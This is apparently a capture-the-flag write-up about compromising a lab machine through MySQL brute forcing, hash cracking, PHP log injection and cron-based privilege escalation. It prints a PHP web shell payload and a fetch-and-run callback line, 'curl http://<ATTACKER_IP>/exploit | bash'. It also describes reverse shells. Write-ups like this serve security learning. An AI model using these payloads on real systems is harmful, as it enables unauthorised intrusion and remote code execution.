Reconnaissance
An ICMP response confirmed that the target was reachable. 
I used RustScan for port discovery.

Ports 21, 22, 80, and 3306 were open.
I followed up with Nmap service and version detection.

The results identified FTP, SSH, HTTP, and MySQL.
Enumeration
I tested anonymous FTP access.

Anonymous FTP login failed. The HTTP service presented a login form; source inspection and common credentials did not provide access.
I tested the MySQL service with Hydra. It returned candidate credentials, which I verified with a direct login.

I tested the candidate credentials against MySQL.

The MySQL login succeeded.
I enumerated the database contents.

A table contained a username and password hash.
John the Ripper recovered the password. 
I used those credentials at the web login form.
and it was successful.
The authenticated interface exposed a viewer for FTP login logs.

Because the application displayed FTP log entries, I tested whether PHP code in a username would be interpreted when the log was rendered.
I supplied the following PHP as an FTP login value:
<?php system($_GET['cmd']); ?>
I reopened the log viewer.

The response included command output identifying the process as www-data, confirming code execution in this lab.
I hosted a Bash callback script on the attacker machine, started a listener, and used the command execution path to fetch and run it.
The recorded invocation was equivalent to curl http://<ATTACKER_IP>/exploit | bash.

The payload initiated a callback.

Access as Adrian
I investigated the adrian account.
A readable .reminder file suggested a base word, John the Ripper’s best64 rule set, and an appended exclamation mark. I used that hint to build candidate SSH passwords.
I placed ettubrute in a wordlist and generated rule-based candidates.
john --wordlist=adrian.txt --rules=best64 --stdout > potentials

A short Python script appended ! to each candidate.

I tested the candidates against SSH.
The test found a valid password.

I authenticated over SSH as adrian.

The SSH session provided access to the user flag.

Privilege escalation
The home directory contained punch_in and punch_in.sh.
I inspected their contents and permissions.
The files are shown below. 

punch_in.sh updated punch_in every minute. The current user could write punch_in but could only read the script.
I also examined the FTP-related files.

A script under /FTP/files appeared to execute the last line of the writable punch_in file through /bin/sh. This created an execution path from a lower-privileged writable file.
I placed a callback command in punch_in and started a Netcat listener.

The scheduled execution produced a reverse connection and access to the final flag.
Outcome
MySQL credentials led to the web portal, FTP log inclusion yielded a shell, a password hint enabled SSH access as adrian, and a writable file consumed by a scheduled script provided the final escalation.